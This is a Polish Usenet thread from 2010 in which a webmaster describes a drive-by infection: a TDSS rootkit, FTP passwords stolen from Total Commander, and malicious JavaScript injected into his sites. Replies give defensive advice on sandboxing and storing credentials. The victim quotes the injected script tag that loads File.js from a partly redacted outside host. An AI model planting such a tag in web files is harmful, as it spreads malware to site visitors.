🚀 go-pugleaf

latet wrote:

> Witam,
> 
> Czy jest możliwe, aby po otwarciu w przeglądarce (lokalnie, z puplipu)
> strony www, na której znajduje się złośliwy kod JS typu:
> 
> <script type="text/javascript"
> src="http://XXXXXXomestore.com:8080/File.js"></script>
> 
> doszło do tak poważnych wydarzeń jak:
> 
> 1. istalacja w systemie trojana
 
tak, jeżeli przeglądarka jest dziurawa

> 4. I wtedy diabeł mnie skusił, aby otworzyć ten plik pod FireFox -
> odpaliłem (chciałem zobaczyć czy Kaspersky zareaguje).
> 
> 5. Kaspersky (moduł heuristic) owszem, zareagował! Podniósł alarm, że
> wykrył złośliwy kod i że ZOSTAŁ ON
> ZABLOKOWANY !!! !!! !!!

kod javascript może wczytać inny kod javascript, przeskanujesz pierwszego, 
ale drugiego już nie
 
> innych, zostało zmodyfikowanych - dopisany do nich został cytowany na
> początku kod JS.

data modyfikacji pliku - czy była taka, że twój komp był włączony w tym 
czasie?
 
> Na szczęście w tych godzinach ruch na stronach znikomy, ale pewnie parę
> osób się zaraziło, 

jeżeli mieli dziurawe przeglądarki

> nie wiem tylko jak poważnie, czy w taki sam sposób jak
> mój komp pierwotnie (przypomnę, że ja odpaliłem plik z kodem JS lokalnie,
> a nie z netu - być moze to czyni różnicę?).

tak, dla IE robi
 
-- 
Pozdrawiam
Lemat

On 2010-06-16, latet <latet@latet.pl> wrote:
> Witam,
>
> Czy jest możliwe, aby po otwarciu w przeglądarce (lokalnie, z puplipu) strony
> www, na której znajduje się złośliwy kod JS typu:
>
><script type="text/javascript"
> src="http://XXXXXXomestore.com:8080/File.js"></script>
>
> doszło do tak poważnych wydarzeń jak:
>
> 1. istalacja w systemie trojana
>
> 2. instalacja root-kita, który ukrywa trojana
>
> 3. kradzież haseł do licznych kont FTP z ustawień Total Commandera!
>
> 4. wklejenie złośliwego kodu JS do setek plików na wszystkich serwerach do
> których udało się robotowi zalogować dzięki ukradzionym tak hasłom do FTP.
> Masakra!

Tak, takie coś krąży po sieci od co najmniej roku...
Do infekcji głównie wykorzystuje dziury w flash-playerze, acrobacie,
itp.

> Bo wczoraj tak się właśnie u mnie stało - mimo, ze cały czas działał Kaspersky.
> Tzn. ja nie wiem czy rzeczywiscie doszło do tego w taki sposób, dlatego pytam
> tutaj, czy to możliwe, ale z moje strony wyglądało to tak:
>
> 1. Otrzymałem mailem czystko tekstowy (ASCII) załącznik .html
>
> 2. Skopiowałem go na pulpit i przeksnowałem antywirem - czysty.
>
> 3. Otworzyłem go EditPlusem, w środku zobaczyłem tylko taki kod JS jak wyżej.
>
> 4. I wtedy diabeł mnie skusił, aby otworzyć ten plik pod FireFox - odpaliłem
> (chciałem zobaczyć czy Kaspersky zareaguje).
>
> 5. Kaspersky (moduł heuristic) owszem, zareagował! Podniósł alarm, że wykrył
> złośliwy kod i że ZOSTAŁ ON
> ZABLOKOWANY !!! !!! !!!
>
> 6. Myślałem więc, że nic sie nie stało. Nie zauważyłem nic nienormalnego.
>
> 7. Wyłączyłem kompa i poszedłem do pracy.
>
> 8. Wróćiłem, odpalam kompa i zaczęły się pojawiać dość subtelne objawy infekcji,
> mianowicie:
>
>     a) podczas wyszukiwania czegokolwiek w Google Kaspersky alarmwował, że
> blokuje jakieś adresy Phishingowe.
>
> b) w "msconfig" / "autostart" pojawiła sie pozycja wwwamq32.exe, której nie
> dawało się wyłączyć (tzn. dawało sie, ale włączała sie spowrotem".
>
> 9. Zapuściłem skan Kasperskim i wykrył w pamieci RAM obecnosc rootkita
> Rootkit.Win32.TDSS.bgqo. Probował go usuwać - wymuszajac podczas tej procedury
> restart systemu, ale bezskutecznie.
>
> 10. Dopiero Kaspersky odpalony spod innego systetmu znalazł i usunął szkodnika w
> 3 miejscach:
> http://www.medfoto.pl/img/rootkit.png
>
> Myślałem, że już po sprawie, ale to był dopiero początek horroru...
>
> Wszedłem na jedną ze stron www, które prowadzę (jako webmaster) i Kapsersky
> podniósł alarm, ze
> zablokował na niej złośliwy skrypt. Zalogowałem sie przez FTP i zobaczyłem, że
> wszelkie pliki index.php, wszystkie pliki *.js i trochę innych, zostało
> zmodyfikowanych - dopisany do nich został cytowany na początku kod JS.
>
> Pół nocy siedziałem i wywalałem złośliwy kod z setek różnych plików.
>
> Na szczęście w tych godzinach ruch na stronach znikomy, ale pewnie parę osób się
> zaraziło, nie wiem tylko jak poważnie, czy w taki sam sposób jak mój komp
> pierwotnie (przypomnę, że ja odpaliłem plik z kodem JS lokalnie, a nie z netu -
> być moze to czyni różnicę?).
>
> W międzyczasie Kaspersky przestał blokować strony na których złośliwy kod
> jeszcze był. Wygląda na to, że mają one z góry ustaloną na krótki czas
> żywotność.
>
> Oczywiście zmieniłem jeszcze wszystkie hasła, w tym hasła do baz SQL, które
> przecież po zalogowaniu się przez FTP robot mógł ukraść z plików config. forum
> phpBB.
>
> Dla mnie morał jest taki, że nie wolno trzymać haseł do kont FPT zapisanych w
> kliencie FTP. Trzeba je mieć w głowie.
>
> Swoją drogą - nie wiem jeszcze, czy wirus ten nie ukradł też jakichś innych
> haseł, np. zapisanych w przeglądarkach www. Tych na szczęście miałem mało,
> głównie do jakichś Forum, gdzie mam uprawnienia szargo użytkownika.
>
> Ale powtórzę pytanie początkowe - czy to wszystko mogło sie zacząć od
> "niewinnego" kodu JS? Czy JS ma taki potencjał, że moze zmusić przeglądarkę do
> zainstalowania takiego syfu bez zgody użytkownika? Przecież rootkit, to niemal
> jak driver systemowy. Zapewniam, że nie byłem pytany o żadne potwierdzenia.
> Wszystko się zainstalowało po cichu (Win XP, kotno z uprawnieniami admina).
>
> Jeśli to się zaczęło przez JS, to jestem przerażony...
> Jeśli inaczej - to jestem załamany, że nie wiem jak.
> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
> blokuje, ale jednak z zerowym efektem!

Widać pora zmienić AV ;) 

-- 
Pozdrawiam,
Marek Marczykowski          |   gg:2873965      | RLU #390519
marmarek at staszic waw pl  | xmpp:marmarek at staszic waw pl
http://akademia.linuksa.pl - Szkolenia Linux, PHP, Java, Office

Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
news:hvcs98$kjm$1@io.staszic.waw.pl...
> On 2010-06-16, latet <latet@latet.pl> wrote:
>> Witam,
>>


>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>> blokuje, ale jednak z zerowym efektem!
>
> Widać pora zmienić AV ;)
>

A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 
Zainstalować sobie system wirtualny na MS Virtual PC / VMWarePlayer - te są 
za darmo.
Żaden AV/firewall w windows  nie jest 100% skuteczny.

pitpull
*) Też złapał coś kiedyś, jak szukał sterowników do karty dźwiękowej...... 

On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
wrote:

>
>Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
>news:hvcs98$kjm$1@io.staszic.waw.pl...
>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>> Witam,
>>>
>
>
>>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>>> blokuje, ale jednak z zerowym efektem!
>>
>> Widać pora zmienić AV ;)
>>
>
>A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 

I nie trzymać haseł w TC. Wygodne ale niebezpieczne. Miałem taką
robote parę miesięcy temu gdy jeden z "łebmasterów" na serwisie na
jednym w moich serwerów zrobił jeszcze coś głupszego. Tzn.
odinstalował program antywirusowy bo - jak potem twierdził - "ciągle
mi jakieś alarmy wyskakiwały i mnie denerwowały". Poza tym dziwię się
ze ktoś jest webmasterem jakichś stron i nie ma backupu tylko ręcznie
usuwa zmiany przez parę godzin.

Ja sugerowałbym inne rozwiązanie - zrezygnowanie z Windows tam gdzie
to nie jest niezbędnie konieczne. Moi współpracownicy pracują na
Ubuntu a gdy faktycznie potrzeba odpalić coś co wymaga windows mają
Windows dostępna pod VirtualBoxem.

Zdrówko

Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisał(a):
> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
> wrote:
>
>>
>>Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>> Witam,
>>>>
>>
>>
>>>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>>>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>>>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>>>> blokuje, ale jednak z zerowym efektem!
>>>
>>> Widać pora zmienić AV ;)
>>>
>>
>>A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 
>
> I nie trzymać haseł w TC. Wygodne ale niebezpieczne. Miałem taką
> robote parę miesięcy temu gdy jeden z "łebmasterów" na serwisie na
> jednym w moich serwerów zrobił jeszcze coś głupszego. Tzn.
> odinstalował program antywirusowy bo - jak potem twierdził - "ciągle
> mi jakieś alarmy wyskakiwały i mnie denerwowały". Poza tym dziwię się
> ze ktoś jest webmasterem jakichś stron i nie ma backupu tylko ręcznie
> usuwa zmiany przez parę godzin.

Oj, zdziwiłbyś się ilu takich "webmasterów" jest.

> Ja sugerowałbym inne rozwiązanie - zrezygnowanie z Windows tam gdzie
> to nie jest niezbędnie konieczne. Moi współpracownicy pracują na
> Ubuntu a gdy faktycznie potrzeba odpalić coś co wymaga windows mają
> Windows dostępna pod VirtualBoxem.

To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
z $HOME/.ssh. A przecież rozwiązanie jest proste jek drut, mieć "piaskownicę"
do zabawy i czysty system do pracy. 
Na debilność usera nie pomoże żaden system, żeden antywirus, żaden firewall.
Przykre tylko, że dotyczy to nie "zwykłego usera" a teoretycznie fachowców.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>

On Thu, 17 Jun 2010 20:32:35 +0200, Konrad Stepien wrote:

> To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
> robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
> z $HOME/.ssh. 

Już są. A myślisz, że skąd się wziął pomysł hashowania hostów w
.ssh/known-hosts? Właśnie po to, żeby włamywacz/worm nie zgadł za łatwo, na
jakie hosty się dostanie Twoim kluczem (albo tym samym hasłem, którym wszedł
na Twoje konto). 

-- 
Szymon Sokół (SS316-RIPE) -- Network Manager                                 B
Computer Center, AGH - University of Science and Technology, Cracow, Poland  O
http://home.agh.edu.pl/szymon/ PGP key id: RSA: 0x2ABE016B, DSS: 0xF9289982  F
Free speech includes the right not to listen, if not interested -- Heinlein  H

Szymon Sokół pisze:
> Już są. A myślisz, że skąd się wziął pomysł hashowania hostów w
> .ssh/known-hosts? Właśnie po to, żeby włamywacz/worm nie zgadł za łatwo, na
> jakie hosty się dostanie Twoim kluczem (albo tym samym hasłem, którym wszedł
> na Twoje konto). 
> 
No tak, bo twórcy robaków to kompletni idioci i nie sprawdzą historii 
shella.

-- 
Pozdrawiam
Michoo

Michoo <michoo_news@vp.pl> napisał(a):
> Szymon Sokó? pisze:
>> Ju? s?. A my?lisz, ?e sk?d si? wzi?? pomys? hashowania hostów w
>> .ssh/known-hosts? W?a?nie po to, ?eby w?amywacz/worm nie zgad? za ?atwo, na
>> jakie hosty si? dostanie Twoim kluczem (albo tym samym has?em, którym wszed?
>> na Twoje konto). 
>> 
> No tak, bo twórcy robaków to kompletni idioci i nie sprawdz? historii 
> shella.

Wiesz, w historii może tego nie być z wielu poodów, choćby takich,
że autoryzacja kluczem czesto jest robiona głównie dla skryptów
chodzacych z crona. A w known_hosts będą wszystkie wpisy.
Poza tym autorzy ssh mają wpływ na to co jest w known_hosts, na to co
w historii juz nie bardzo. Więc poprawiają to na co mają wpływ.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>

Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisał(a):
>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>> wrote:
>>
>>>
>>>Użytkownik "Marek Marczykowski" <marmarek@spam.nie> napisał w wiadomości 
>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>> Witam,
>>>>>
>>>
>>>
>>>>> Jeśli to się zaczęło przez JS, to jestem przerażony...
>>>>> Jeśli inaczej - to jestem załamany, że nie wiem jak.
>>>>> Przypomnę - Kaspersky działał, a nawet ostrzegał i niby mówił, że coś tam
>>>>> blokuje, ale jednak z zerowym efektem!
>>>>
>>>> Widać pora zmienić AV ;)
>>>>
>>>
>>>A co ważniejsze jeżeli już odpalać podejrzane strony to w "piaskownicy". 
>>
>> I nie trzymać haseł w TC. Wygodne ale niebezpieczne. Miałem taką
>> robote parę miesięcy temu gdy jeden z "łebmasterów" na serwisie na
>> jednym w moich serwerów zrobił jeszcze coś głupszego. Tzn.
>> odinstalował program antywirusowy bo - jak potem twierdził - "ciągle
>> mi jakieś alarmy wyskakiwały i mnie denerwowały". Poza tym dziwię się
>> ze ktoś jest webmasterem jakichś stron i nie ma backupu tylko ręcznie
>> usuwa zmiany przez parę godzin.
> 
> Oj, zdziwiłbyś się ilu takich "webmasterów" jest.
> 
>> Ja sugerowałbym inne rozwiązanie - zrezygnowanie z Windows tam gdzie
>> to nie jest niezbędnie konieczne. Moi współpracownicy pracują na
>> Ubuntu a gdy faktycznie potrzeba odpalić coś co wymaga windows mają
>> Windows dostępna pod VirtualBoxem.
> 
> To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
> robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
> z $HOME/.ssh. A przecież rozwiązanie jest proste jek drut, mieć "piaskownicę"
> do zabawy i czysty system do pracy. 
> Na debilność usera nie pomoże żaden system, żeden antywirus, żaden firewall.
> Przykre tylko, że dotyczy to nie "zwykłego usera" a teoretycznie fachowców.
	... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
								Adam Przybyla

On Thu, 17 Jun 2010 20:32:35 +0200, Konrad Stepien
<xbaenq@vagreqngn.arg.cy> wrote:

>
>Oj, zdziwiłbyś się ilu takich "webmasterów" jest.

Po latach już się nie dziwię. Choć czasami ręce opadają. Jak ostatnio
z kolesiem który nie mógł zrozumieć praw dostępu i żądał dla swojej
strony 777 dla całości "bo tak mu lepiej". Po czym okazało się że
koleś zasadniczo to do tej pory tylko na komputerze z serwerem WWW pod
XP i inaczej nie umie. I nie mógł zorzumiec że sa jakies prawa do
plików, właściciele, grupy, etc. A stronę stawiać chciał poważną i
dziwił się że nie zgadzam się na jego pomysły. "Bo tak byłoby
prościej" mi powiedział i "W razie czego to wgrasz zawartość z płytki
od nowa". Na szczęscie po mojej interwencji u zamawiającego skońćzyło
się na rezygnacji z usług "webmastera".

>To jest takie sobie wyjście. Tylko kewstje czasu, a pojasię się tego typu
>robale na linuxa, tyle, że zamiast hasła z TC bedą np. wyciągać klucze
>z $HOME/.ssh. A przecież rozwiązanie jest proste jek drut, mieć "piaskownicę"
>do zabawy i czysty system do pracy. 

Jak na razie nie słyszałem o takowym niemniej pomysł z piaskownicą
jest oczysićie OK.

>Na debilność usera nie pomoże żaden system, żeden antywirus, żaden firewall.
>Przykre tylko, że dotyczy to nie "zwykłego usera" a teoretycznie fachowców.

Wiesz - mi ręce opdały jak zobaczyłem poziom wiedzy na informatyce na
jednej z prywantych uczelni a teraz każda ma taki kierunek. Na około
200 studentów 3 roku - na rok przed obrona pracy - do jakiegokolwiek
zatrudnienia na poziomie administrowania czymkolwiek, programowania
czy robienia jakiegoś ciut bardziej zaawansowanego WWW nadawało sie
może z 5-10% i to Ci którzy przyszli zrobić papier już gdzieś
pracując. A dyplom obroni większość z nich. Jak widze że marzeniem
wielu z nich b?ła posada informtyka w urzędzie to wlosy mi stają dęba.
Inna sprawa że na tej uczelni fachowców-praktyków od przedmiotów
zawodowych (systemy operacyjne, sieci, grafika komputerowa, etc.) było
zaledwie kilku. Większość prowadzących zajęcia to 50-60 latkowie
którym zależało tylko by studenci spokojnie siedzieli i oni mieli
spokój. Efekt był taki że razem z kumplem konfigurowaliśmy
prowadzącemu routery do zajęć z sieci bo nie za bardzo potrafił. Ale
tacy studenci pójdą w świat jako dumni informatycy i robotę znajdą bo
brak pracowników w branży. Trafia tam gdzie najmniej płacą czyli do
urzędów. A my potem będziemy się zżymac że są tam takie buble....

Zdrówko

Adam Przybyla <adam@rybnik.pl> napisał(a):
> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisa?(a):
>>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>>> wrote:
>>>
>>>>
>>>>U?ytkownik "Marek Marczykowski" <marmarek@spam.nie> napisa? w wiadomo?ci 
>>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>>> Witam,
>>>>>>
>>>>
>>>>
>>>>>> Je?li to si? zacz??o przez JS, to jestem przera?ony...
>>>>>> Je?li inaczej - to jestem za?amany, ?e nie wiem jak.
>>>>>> Przypomn? - Kaspersky dzia?a?, a nawet ostrzega? i niby mówi?, ?e co? tam
>>>>>> blokuje, ale jednak z zerowym efektem!
>>>>>
>>>>> Wida? pora zmieni? AV ;)
>>>>>
>>>>
>>>>A co wa?niejsze je?eli ju? odpala? podejrzane strony to w "piaskownicy". 
>>>
>>> I nie trzyma? hase? w TC. Wygodne ale niebezpieczne. Mia?em tak?
>>> robote par? miesi?cy temu gdy jeden z "?ebmasterów" na serwisie na
>>> jednym w moich serwerów zrobi? jeszcze co? g?upszego. Tzn.
>>> odinstalowa? program antywirusowy bo - jak potem twierdzi? - "ci?gle
>>> mi jakie? alarmy wyskakiwa?y i mnie denerwowa?y". Poza tym dziwi? si?
>>> ze kto? jest webmasterem jakich? stron i nie ma backupu tylko r?cznie
>>> usuwa zmiany przez par? godzin.
>> 
>> Oj, zdziwi?by? si? ilu takich "webmasterów" jest.
>> 
>>> Ja sugerowa?bym inne rozwi?zanie - zrezygnowanie z Windows tam gdzie
>>> to nie jest niezb?dnie konieczne. Moi wspó?pracownicy pracuj? na
>>> Ubuntu a gdy faktycznie potrzeba odpali? co? co wymaga windows maj?
>>> Windows dost?pna pod VirtualBoxem.
>> 
>> To jest takie sobie wyj?cie. Tylko kewstje czasu, a pojasi? si? tego typu
>> robale na linuxa, tyle, ?e zamiast has?a z TC bed? np. wyci?ga? klucze
>> z $HOME/.ssh. A przecie? rozwi?zanie jest proste jek drut, mie? "piaskownic?"
>> do zabawy i czysty system do pracy. 
>> Na debilno?? usera nie pomo?e ?aden system, ?eden antywirus, ?aden firewall.
>> Przykre tylko, ?e dotyczy to nie "zwyk?ego usera" a teoretycznie fachowców.
>
> 	... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
> 								Adam Przybyla

No przecież pisałem o "piaskownicy".
A czy to będzie dosłownie piaskownica, czyli sandbox, czy jakaś virtualna
maszyna to już w zasadzie bez znaczenia. W zadbanym linuxie/BSD to w zasadzie
wystarczy 2 konta sobie zrobić, wleźć na root-a to jednak nie to samo co
podebrać pliki z $HOME.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>

Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
> Adam Przybyla <adam@rybnik.pl> napisał(a):
>> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>>> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisa?(a):
>>>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>>>> wrote:
>>>>
>>>>>
>>>>>U?ytkownik "Marek Marczykowski" <marmarek@spam.nie> napisa? w wiadomo?ci 
>>>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>>>> Witam,
>>>>>>>
>>>>>
>>>>>
>>>>>>> Je?li to si? zacz??o przez JS, to jestem przera?ony...
>>>>>>> Je?li inaczej - to jestem za?amany, ?e nie wiem jak.
>>>>>>> Przypomn? - Kaspersky dzia?a?, a nawet ostrzega? i niby mówi?, ?e co? tam
>>>>>>> blokuje, ale jednak z zerowym efektem!
>>>>>>
>>>>>> Wida? pora zmieni? AV ;)
>>>>>>
>>>>>
>>>>>A co wa?niejsze je?eli ju? odpala? podejrzane strony to w "piaskownicy". 
>>>>
>>>> I nie trzyma? hase? w TC. Wygodne ale niebezpieczne. Mia?em tak?
>>>> robote par? miesi?cy temu gdy jeden z "?ebmasterów" na serwisie na
>>>> jednym w moich serwerów zrobi? jeszcze co? g?upszego. Tzn.
>>>> odinstalowa? program antywirusowy bo - jak potem twierdzi? - "ci?gle
>>>> mi jakie? alarmy wyskakiwa?y i mnie denerwowa?y". Poza tym dziwi? si?
>>>> ze kto? jest webmasterem jakich? stron i nie ma backupu tylko r?cznie
>>>> usuwa zmiany przez par? godzin.
>>> 
>>> Oj, zdziwi?by? si? ilu takich "webmasterów" jest.
>>> 
>>>> Ja sugerowa?bym inne rozwi?zanie - zrezygnowanie z Windows tam gdzie
>>>> to nie jest niezb?dnie konieczne. Moi wspó?pracownicy pracuj? na
>>>> Ubuntu a gdy faktycznie potrzeba odpali? co? co wymaga windows maj?
>>>> Windows dost?pna pod VirtualBoxem.
>>> 
>>> To jest takie sobie wyj?cie. Tylko kewstje czasu, a pojasi? si? tego typu
>>> robale na linuxa, tyle, ?e zamiast has?a z TC bed? np. wyci?ga? klucze
>>> z $HOME/.ssh. A przecie? rozwi?zanie jest proste jek drut, mie? "piaskownic?"
>>> do zabawy i czysty system do pracy. 
>>> Na debilno?? usera nie pomo?e ?aden system, ?eden antywirus, ?aden firewall.
>>> Przykre tylko, ?e dotyczy to nie "zwyk?ego usera" a teoretycznie fachowców.
>>
>>       ... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
>>                                                               Adam Przybyla
> 
> No przecież pisałem o "piaskownicy".
> A czy to będzie dosłownie piaskownica, czyli sandbox, czy jakaś virtualna
> maszyna to już w zasadzie bez znaczenia. W zadbanym linuxie/BSD to w zasadzie
> wystarczy 2 konta sobie zrobić, wleźć na root-a to jednak nie to samo co
> podebrać pliki z $HOME.
	... chodilo mi o cos troche innego, poczytaj: "Introducing the SELinux Sandbox"
http://danwalsh.livejournal.com/28545.html
Z powazaniem
								Adam Przybyla

Adam Przybyla <adam@rybnik.pl> napisał(a):
> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>> Adam Przybyla <adam@rybnik.pl> napisa?(a):
>>> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>>>> Maciek "Babcia" Dobosz <babcia@jewish.org.pl> napisa?(a):
>>>>> On Thu, 17 Jun 2010 12:33:43 +0200, "pitpull" <pitpull@pitpull.com>
>>>>> wrote:
>>>>>
>>>>>>
>>>>>>U?ytkownik "Marek Marczykowski" <marmarek@spam.nie> napisa? w wiadomo?ci 
>>>>>>news:hvcs98$kjm$1@io.staszic.waw.pl...
>>>>>>> On 2010-06-16, latet <latet@latet.pl> wrote:
>>>>>>>> Witam,
>>>>>>>>
>>>>>>
>>>>>>
>>>>>>>> Je?li to si? zacz??o przez JS, to jestem przera?ony...
>>>>>>>> Je?li inaczej - to jestem za?amany, ?e nie wiem jak.
>>>>>>>> Przypomn? - Kaspersky dzia?a?, a nawet ostrzega? i niby mówi?, ?e co? tam
>>>>>>>> blokuje, ale jednak z zerowym efektem!
>>>>>>>
>>>>>>> Wida? pora zmieni? AV ;)
>>>>>>>
>>>>>>
>>>>>>A co wa?niejsze je?eli ju? odpala? podejrzane strony to w "piaskownicy". 
>>>>>
>>>>> I nie trzyma? hase? w TC. Wygodne ale niebezpieczne. Mia?em tak?
>>>>> robote par? miesi?cy temu gdy jeden z "?ebmasterów" na serwisie na
>>>>> jednym w moich serwerów zrobi? jeszcze co? g?upszego. Tzn.
>>>>> odinstalowa? program antywirusowy bo - jak potem twierdzi? - "ci?gle
>>>>> mi jakie? alarmy wyskakiwa?y i mnie denerwowa?y". Poza tym dziwi? si?
>>>>> ze kto? jest webmasterem jakich? stron i nie ma backupu tylko r?cznie
>>>>> usuwa zmiany przez par? godzin.
>>>> 
>>>> Oj, zdziwi?by? si? ilu takich "webmasterów" jest.
>>>> 
>>>>> Ja sugerowa?bym inne rozwi?zanie - zrezygnowanie z Windows tam gdzie
>>>>> to nie jest niezb?dnie konieczne. Moi wspó?pracownicy pracuj? na
>>>>> Ubuntu a gdy faktycznie potrzeba odpali? co? co wymaga windows maj?
>>>>> Windows dost?pna pod VirtualBoxem.
>>>> 
>>>> To jest takie sobie wyj?cie. Tylko kewstje czasu, a pojasi? si? tego typu
>>>> robale na linuxa, tyle, ?e zamiast has?a z TC bed? np. wyci?ga? klucze
>>>> z $HOME/.ssh. A przecie? rozwi?zanie jest proste jek drut, mie? "piaskownic?"
>>>> do zabawy i czysty system do pracy. 
>>>> Na debilno?? usera nie pomo?e ?aden system, ?eden antywirus, ?aden firewall.
>>>> Przykre tylko, ?e dotyczy to nie "zwyk?ego usera" a teoretycznie fachowców.
>>>
>>>       ... niekoniecznie, poczytaj o sandbox'ie;-) Z powazaniem
>>>                                                               Adam Przybyla
>> 
>> No przecie? pisa?em o "piaskownicy".
>> A czy to b?dzie dos?ownie piaskownica, czyli sandbox, czy jaka? virtualna
>> maszyna to ju? w zasadzie bez znaczenia. W zadbanym linuxie/BSD to w zasadzie
>> wystarczy 2 konta sobie zrobi?, wle?? na root-a to jednak nie to samo co
>> podebra? pliki z $HOME.
> 	... chodilo mi o cos troche innego, poczytaj: "Introducing the SELinux Sandbox"
> http://danwalsh.livejournal.com/28545.html
> Z powazaniem

No widzisz, szkoda, że się tak szybko zwinąłeś z tego Open Source Day.
Ale realizacja techniczna to sprawa wtórna. Jak rozważamy webmastera
"zdolnego inaczej", to _każda_ metoda podniesie bezpieczeństwo wielokrotnie.
Problem polaga na tym, że dla "zdolnych inaczej" webmasterów to musi
być rozwiązane tyku "klikam po okejkach" bo inaczej nie ma szans się
przyjąć.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>

Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
> Adam Przybyla <adam@rybnik.pl> napisał(a):
>> Konrad Stepien <xbaenq@vagreqngn.arg.cy> wrote:
>>> Adam Przybyla <adam@rybnik.pl> napisa?(a):
>>       ... chodilo mi o cos troche innego, poczytaj: "Introducing the SELinux Sandbox"
>> http://danwalsh.livejournal.com/28545.html
>> Z powazaniem
> 
> No widzisz, szkoda, że się tak szybko zwinąłeś z tego Open Source Day.
> Ale realizacja techniczna to sprawa wtórna. Jak rozważamy webmastera
> "zdolnego inaczej", to _każda_ metoda podniesie bezpieczeństwo wielokrotnie.
> Problem polaga na tym, że dla "zdolnych inaczej" webmasterów to musi
> być rozwiązane tyku "klikam po okejkach" bo inaczej nie ma szans się
> przyjąć.
	... spoko loko;-) Przy nastepnej okazji to sie wiecej pogada;-)
Z powazaniem
								Adam Przybyla